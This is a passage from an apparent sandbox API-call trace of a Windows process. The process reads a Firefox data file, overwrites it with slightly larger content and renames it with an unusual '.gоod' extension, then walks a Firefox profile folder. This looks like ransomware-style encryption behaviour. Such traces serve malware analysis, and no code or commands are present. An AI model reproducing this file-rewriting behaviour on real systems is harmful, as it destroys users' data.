lpFindFileData=0x1fbed890*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0208.546] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0208.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedaf0) returned 1 [0208.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedab0) returned 1 [0208.547] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\postSigningData", nBufferLength=0x105, lpBuffer=0x1fbed490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\postSigningData", lpFilePart=0x0) returned 0x3d [0208.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed960) returned 1 [0208.547] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\postSigningData" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\postsigningdata"), fInfoLevelId=0x0, lpFileInformation=0x353f208 | out: lpFileInformation=0x353f208*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa92ca6c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfa92ca6c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xdd9723cb, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x6a)) returned 1 [0208.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed920) returned 1 [0208.547] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\postSigningData", nBufferLength=0x105, lpBuffer=0x1fbed2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\postSigningData", lpFilePart=0x0) returned 0x3d [0208.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed810) returned 1 [0208.547] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\postSigningData" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\postsigningdata"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0208.547] GetFileType (hFile=0x820) returned 0x1 [0208.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed780) returned 1 [0208.547] GetFileType (hFile=0x820) returned 0x1 [0208.547] GetFileSize (in: hFile=0x820, lpFileSizeHigh=0x1fbed9b8 | out: lpFileSizeHigh=0x1fbed9b8*=0x0) returned 0x6a [0208.547] ReadFile (in: hFile=0x820, lpBuffer=0x353f500, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbed8e8, lpOverlapped=0x0 | out: lpBuffer=0x353f500*, lpNumberOfBytesRead=0x1fbed8e8*=0x6a, lpOverlapped=0x0) returned 1 [0208.548] CloseHandle (hObject=0x820) returned 1 [0209.194] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\postSigningData", nBufferLength=0x105, lpBuffer=0x1fbed2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\postSigningData", lpFilePart=0x0) returned 0x3d [0209.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed810) returned 1 [0209.194] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\postSigningData" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\postsigningdata"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0209.195] GetFileType (hFile=0x820) returned 0x1 [0209.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed780) returned 1 [0209.195] GetFileType (hFile=0x820) returned 0x1 [0209.195] WriteFile (in: hFile=0x820, lpBuffer=0x35dc2c0*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x1fbed7f8, lpOverlapped=0x0 | out: lpBuffer=0x35dc2c0*, lpNumberOfBytesWritten=0x1fbed7f8*=0x70, lpOverlapped=0x0) returned 1 [0209.196] CloseHandle (hObject=0x820) returned 1 [0209.196] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\postSigningData", nBufferLength=0x105, lpBuffer=0x1fbed490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\postSigningData", lpFilePart=0x0) returned 0x3d [0209.196] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\postSigningData.gоod", nBufferLength=0x105, lpBuffer=0x1fbed490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\postSigningData.gоod", lpFilePart=0x0) returned 0x42 [0209.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed920) returned 1 [0209.196] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\postSigningData" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\postsigningdata"), fInfoLevelId=0x0, lpFileInformation=0x1fbeda00 | out: lpFileInformation=0x1fbeda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa92ca6c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfa92ca6c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x78e79b3f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x70)) returned 1 [0209.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed8e0) returned 1 [0209.196] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\postSigningData" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\postsigningdata"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\postSigningData.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\postsigningdata.gоod")) returned 1 [0209.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed180) returned 1 [0209.197] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles", nBufferLength=0x105, lpBuffer=0x1fbecc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles", lpFilePart=0x0) returned 0x36 [0209.197] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x1fbecea0 | out: lpFindFileData=0x1fbecea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0209.198] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.198] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3d5d939a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="w7cr0hor.default", cAlternateFileName="W7CR0H~1.DEF")) returned 1 [0209.198] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3d5d939a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="w7cr0hor.default", cAlternateFileName="W7CR0H~1.DEF")) returned 0 [0209.198] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0209.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed0c0) returned 1 [0209.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed080) returned 1 [0209.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed180) returned 1 [0209.198] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles", nBufferLength=0x105, lpBuffer=0x1fbecc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles", lpFilePart=0x0) returned 0x36 [0209.198] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x1fbecea0 | out: lpFindFileData=0x1fbecea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0209.199] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.199] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3d5d939a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="w7cr0hor.default", cAlternateFileName="W7CR0H~1.DEF")) returned 1 [0209.199] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.199] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0209.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed0c0) returned 1 [0209.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed080) returned 1 [0209.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec750) returned 1 [0209.199] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", nBufferLength=0x105, lpBuffer=0x1fbec1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", lpFilePart=0x0) returned 0x47 [0209.199] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\*", lpFindFileData=0x1fbec470 | out: lpFindFileData=0x1fbec470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3d5d939a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0209.201] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3d5d939a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.201] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3462ae18, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb817acca, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cache2", cAlternateFileName="")) returned 1 [0209.201] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x301f956, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x301f956, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x3025b1b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x942, dwReserved0=0x0, dwReserved1=0x0, cFileName="directoryLinks.json", cAlternateFileName="DIRECT~1.JSO")) returned 1 [0209.201] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jumpListCache", cAlternateFileName="JUMPLI~1")) returned 1 [0209.202] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcae9ac, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfcae9ac, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfcae9ac, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfflineCache", cAlternateFileName="OFFLIN~1")) returned 1 [0209.202] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c5a8f2d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3d1ad183, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3d1ad183, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="safebrowsing", cAlternateFileName="SAFEBR~1")) returned 1 [0209.202] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4016fa00, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb9f6f531, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xb9f6f531, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="startupCache", cAlternateFileName="STARTU~1")) returned 1 [0209.202] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe53ad66, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe53ad66, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfe53ad66, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="thumbnails", cAlternateFileName="THUMBN~1")) returned 1 [0209.202] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcae9ac, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfcae9ac, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x481f73e1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="_CACHE_CLEAN_", cAlternateFileName="_CACHE~1")) returned 1 [0209.202] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.202] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0209.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec690) returned 1 [0209.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec650) returned 1 [0209.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec750) returned 1 [0209.203] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", nBufferLength=0x105, lpBuffer=0x1fbec1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", lpFilePart=0x0) returned 0x47 [0209.203] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\*", lpFindFileData=0x1fbec470 | out: lpFindFileData=0x1fbec470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3d5d939a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0209.204] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3d5d939a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.204] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3462ae18, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb817acca, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cache2", cAlternateFileName="")) returned 1 [0209.204] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x301f956, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x301f956, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x3025b1b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x942, dwReserved0=0x0, dwReserved1=0x0, cFileName="directoryLinks.json", cAlternateFileName="DIRECT~1.JSO")) returned 1 [0209.204] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jumpListCache", cAlternateFileName="JUMPLI~1")) returned 1 [0209.205] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcae9ac, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfcae9ac, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfcae9ac, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfflineCache", cAlternateFileName="OFFLIN~1")) returned 1 [0209.205] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c5a8f2d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3d1ad183, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3d1ad183, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="safebrowsing", cAlternateFileName="SAFEBR~1")) returned 1 [0209.205] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4016fa00, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb9f6f531, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xb9f6f531, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="startupCache", cAlternateFileName="STARTU~1")) returned 1 [0209.205] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe53ad66, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe53ad66, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfe53ad66, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="thumbnails", cAlternateFileName="THUMBN~1")) returned 1 [0209.205] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcae9ac, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfcae9ac, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x481f73e1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="_CACHE_CLEAN_", cAlternateFileName="_CACHE~1")) returned 1 [0209.205] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcae9ac, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfcae9ac, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x481f73e1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="_CACHE_CLEAN_", cAlternateFileName="_CACHE~1")) returned 0 [0209.206] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0209.206] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec690) returned 1 [0209.206] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec650) returned 1 [0209.206] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\directoryLinks.json", 